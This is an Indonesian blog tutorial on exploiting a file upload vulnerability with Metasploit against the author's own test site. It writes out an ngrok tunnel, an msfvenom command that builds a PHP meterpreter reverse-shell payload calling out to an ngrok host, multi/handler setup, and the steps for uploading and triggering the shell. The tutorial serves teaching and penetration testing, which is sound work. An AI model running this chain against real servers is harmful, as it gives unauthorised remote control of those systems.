Web Penetration Testing : File Upload Vulnerability Dengan Metasploit

Keamanan web telah menjadi perhatian utama dalam era digital ini. Dengan meningkatnya kompleksitas aplikasi web dan penyebaran yang luas dari teknologi web, risiko keamanan juga semakin meningkat. Salah satu serangan yang umum terjadi pada aplikasi web adalah serangan file upload, di mana penyerang mencoba mengunggah file berbahaya ke server yang rentan untuk mengeksploitasi sistem.

Dalam konteks ini, teknik Penetration Testing (pengujian penetrasi) menjadi penting. Penetration Testing adalah proses pengujian sistem atau aplikasi untuk mengidentifikasi kelemahan keamanan yang mungkin dieksploitasi oleh penyerang. Dengan memahami celah-celah keamanan seperti file upload vulnerability, organisasi dapat mengambil langkah-langkah proaktif untuk memperbaiki kelemahan dan meningkatkan tingkat keamanan sistem mereka.

Penjelasan Umum File Upload Vulnerability

Kerentanan file upload adalah kelemahan keamanan yang memungkinkan penyerang untuk mengunggah dan mengeksekusi file berbahaya ke server atau aplikasi web yang rentan. Dalam konteks aplikasi web, kerentanan ini terjadi ketika aplikasi tidak memvalidasi atau memfilter file yang diunggah oleh pengguna dengan benar. Sebagai hasilnya, penyerang dapat mengunggah file yang berbahaya, seperti skrip shell, malware, atau file eksekusi lainnya, ke server target. Ada beberapa cara kerentanan file upload dapat dieksploitasi:

  • Eksekusi Kode : Penyerang dapat mengunggah file yang berisi skrip shell atau kode berbahaya lainnya. Setelah diunggah, file tersebut dapat dieksekusi oleh server, memberikan akses ke sistem atau aplikasi kepada penyerang.
  • Penyusupan Data : Penyerang dapat mengunggah file berbahaya yang mengandung skrip untuk mencuri atau memanipulasi data sensitif yang disimpan di server.
  • Denial of Service (DoS) : Penyerang dapat mengunggah file yang sangat besar atau dalam jumlah yang besar untuk menghabiskan sumber daya server, menyebabkan layanan menjadi tidak responsif untuk pengguna yang sah.
  • Pelanggaran Keamanan : File yang diunggah oleh penyerang dapat digunakan untuk melanggar kebijakan keamanan, seperti menyebarkan konten ilegal atau menciptakan backdoor untuk akses yang tidak sah ke sistem.

Untuk menghindari kerentanan file upload, aplikasi web harus menerapkan langkah-langkah keamanan yang tepat, termasuk validasi file yang diunggah, membatasi jenis dan ukuran file yang diperbolehkan, serta melakukan penyaringan input pengguna secara ketat. Selain itu, melakukan pengujian penetrasi secara teratur dapat membantu mengidentifikasi dan memperbaiki kerentanan file upload sebelum dieksploitasi oleh penyerang.

Tutorial

Untuk memulai tutorial, di sini penulis menggunakan kali linux yang sudah tertanam metasploit framework untuk melakukan penetration testing pada live web yang sudah penulis hosting.

  1. Pertama, penulis memulai metasploit nya :
    Web Penetration Testing : File Upload Vulnerability Dengan Metasploit
  2. Lalu, penulis harus menjalankan ngrok agar dapat melakukan serangan pada live web. IP LAN dari komputer kita sebagai penyerang harus terhubung ke internet pada koneksi dari mesin penyerang ke mesin korban bisa di mulai melalui port forwarding agar dapat dipancarkan secara WAN. Kenapa hal ini perlu? Karena kita menggunakan teknik serangan reverse shell menggunakan protokol TCP untuk melakukan serangan file upload pada aplikasi web. Jadi, untuk perintah nya adalah :

    ngrok tcp 4444

    Perintah ngrok tcp 4444 digunakan untuk membuat terowongan (tunnel) TCP menggunakan ngrok pada port 4444. Ini berarti ngrok akan memforward semua koneksi yang masuk ke port 4444 pada komputer lokal penulis ke ngrok server, yang kemudian akan meneruskannya ke komputer.

    Ini sering digunakan dalam konteks pengujian penetrasi atau pengembangan aplikasi web untuk memberikan akses dari internet ke server atau aplikasi yang berjalan secara lokal. Dalam konteks pengujian penetrasi, port 4444 sering digunakan untuk koneksi jarak jauh, misalnya untuk menghubungkan shell ke target yang terinfeksi.

  3. Penulis akan mencantumkan host dan port pada forwarding ngrok yang tersedia untuk payload metasploit framework :
    Pada Forwarding tcp://0.tcp.ap.ngrok.io:19686 -> localhost:4444. Menjelaskan bahwa ngrok telah membuat terowongan TCP dari port eksternal 19686 di domain ngrok (0.tcp.ap.ngrok.io) ke port 4444 di localhost penulis. Artinya, semua koneksi yang masuk ke port 19686 di domain ngrok akan diteruskan ke port 4444 di komputer lokal. Ini memungkinkan akses eksternal ke layanan atau aplikasi yang berjalan di komputer lokal Anda melalui ngrok.

  4. Dalam kasus ini untuk menyerang, perintah untuk membuat payload metasploit framework adalah :
    msfvenom -p php/meterpreter/reverse_tcp lhost=0.tcp.ap.ngrok.io lport=19686 -f raw > hack.php

    Hasil :
    Perintah di atas menggunakan utilitas msfvenom dalam framework Metasploit untuk menghasilkan payload (muatan) yang dirancang untuk menyusup ke sistem target dan berkomunikasi kembali ke penyerang melalui ngrok.
    • msfvenom : Ini adalah utilitas dalam framework Metasploit yang digunakan untuk membuat payload yang berbeda untuk serangan.
    • php/meterpreter/reverse_tcp : Argumen ini menentukan jenis payload yang akan dibuat. Dalam hal ini, payload dibuat dalam bahasa PHP dan menggunakan meterpreter untuk membuka koneksi balik (reverse TCP), sehingga memungkinkan penyerang untuk mengontrol target dari jarak jauh.
    • lhost=0.tcp.ap.ngrok.io : Ini adalah opsi untuk menentukan alamat IP atau nama host dari mesin penyerang, yang akan dihubungi oleh payload untuk membuka koneksi balik. Dalam hal ini, alamat IP ngrok digunakan untuk memberikan alamat yang dapat diakses dari internet.
    • lport=19686 : Ini adalah opsi untuk menentukan port yang akan didengarkan oleh mesin penyerang untuk koneksi balik dari payload. Port 19686 di sini sesuai dengan port yang diteruskan oleh ngrok ke port localhost 4444.
    • -f raw : Argumen ini menentukan format output payload. Dalam hal ini, format "raw" digunakan.
    • > hack.php : Ini adalah bagian yang mengarahkan keluaran dari msfvenom ke file bernama "hack.php". Payload yang dihasilkan akan disimpan dalam file tersebut dengan nama "hack.php".
    Jadi, bisa di simpulkan perintah di atas menciptakan payload PHP yang akan membuka koneksi balik ke komputer penyerang melalui ngrok, dengan menggunakan meterpreter, dan menyimpannya dalam file "hack.php".

  5. Untuk menjalankan payload kita, kita gunakan perintah di bawah ini :
  6. msf6 > use multi/handler
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
    payload => php/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost 0.0.0.0
    lhost => 0.0.0.0
    msf6 exploit(multi/handler) > set lport 4444
    lport => 4444
    msf6 exploit(multi/handler) > exploit

    Penjelasan :
    • use multi/handler : Perintah ini digunakan untuk memilih modul "multi/handler" dalam Metasploit, yang digunakan untuk menerima koneksi balik dari berbagai jenis payload.
    • set payload php/meterpreter/reverse_tcp: Perintah ini mengatur payload yang akan digunakan oleh handler. Dalam hal ini, payload yang dipilih adalah "php/meterpreter/reverse_tcp", yang menunjukkan bahwa handler akan menerima koneksi balik dari payload PHP meterpreter reverse TCP.
    • set lhost 0.0.0.0: Perintah ini mengatur alamat IP lokal (lhost) yang akan digunakan oleh handler untuk mendengarkan koneksi balik. Dalam hal ini, alamat IP 0.0.0.0 digunakan, yang berarti handler akan mendengarkan semua antarmuka jaringan yang tersedia di mesin ini.
    • set lport 4444: Perintah ini mengatur port lokal (lport) yang akan digunakan oleh handler untuk mendengarkan koneksi balik. Dalam hal ini, port 4444 digunakan.
    • exploit: Perintah ini menjalankan handler untuk memulai mendengarkan koneksi balik dari target. Setelah dieksekusi, handler siap untuk menerima koneksi balik dari target yang telah terinfeksi dengan payload yang sesuai.

  7. Sekarang kita akses salah satu web milik penulis yang sudah di hosting untuk uji coba :
    https://mytrashapp.000webhostapp.com/pentest-upload-file/

  8. Upload file hack.php yang telah penulis buat :

  9. File berhasil di unggah :
    Hasil file di atas berhasil di unggah. Untuk memulai koneksi, kita perlu mengetahui hasil file yang telah di upload oleh penulis telah di simpan di directory web server mana. Dalam hal ini penulis sudah tahu, yaitu berada pada :
    https://mytrashapp.000webhostapp.com/pentest-upload-file/uploads/

    Dalam studi kasus nyata nya jika kita ingin mengetahui file yang di unggah telah di simpan pada directory web server mana, ini bisa menggunakan dirsearch dan dirhunt. URL di atas akan menyebabkan directory listing yang menampilkan daftar isi file di dalam directory web server :

    Jadi, kita cukup akses file tadi dengan begini :
    https://mytrashapp.000webhostapp.com/pentest-upload-file/uploads/hack.php

  10. Koneksi di mulai, penulis berhasil masuk ke sistem target lalu bisa menjalankan kode jarak jauh menggunakan perintah sistem operasi :

Penutup

Pengujian penetrasi pada aplikasi web menjadi semakin penting dalam menghadapi ancaman keamanan yang terus berkembang. Dengan pemahaman yang mendalam tentang kerentanan file upload dan teknik eksploitasi yang terkait, organisasi dapat mengambil langkah-langkah proaktif untuk meningkatkan keamanan aplikasi web. Dengan mengadopsi praktik-praktik terbaik dalam pengujian penetrasi dan perlindungan keamanan, kita dapat melangkah maju menuju lingkungan web yang lebih aman dan terjamin.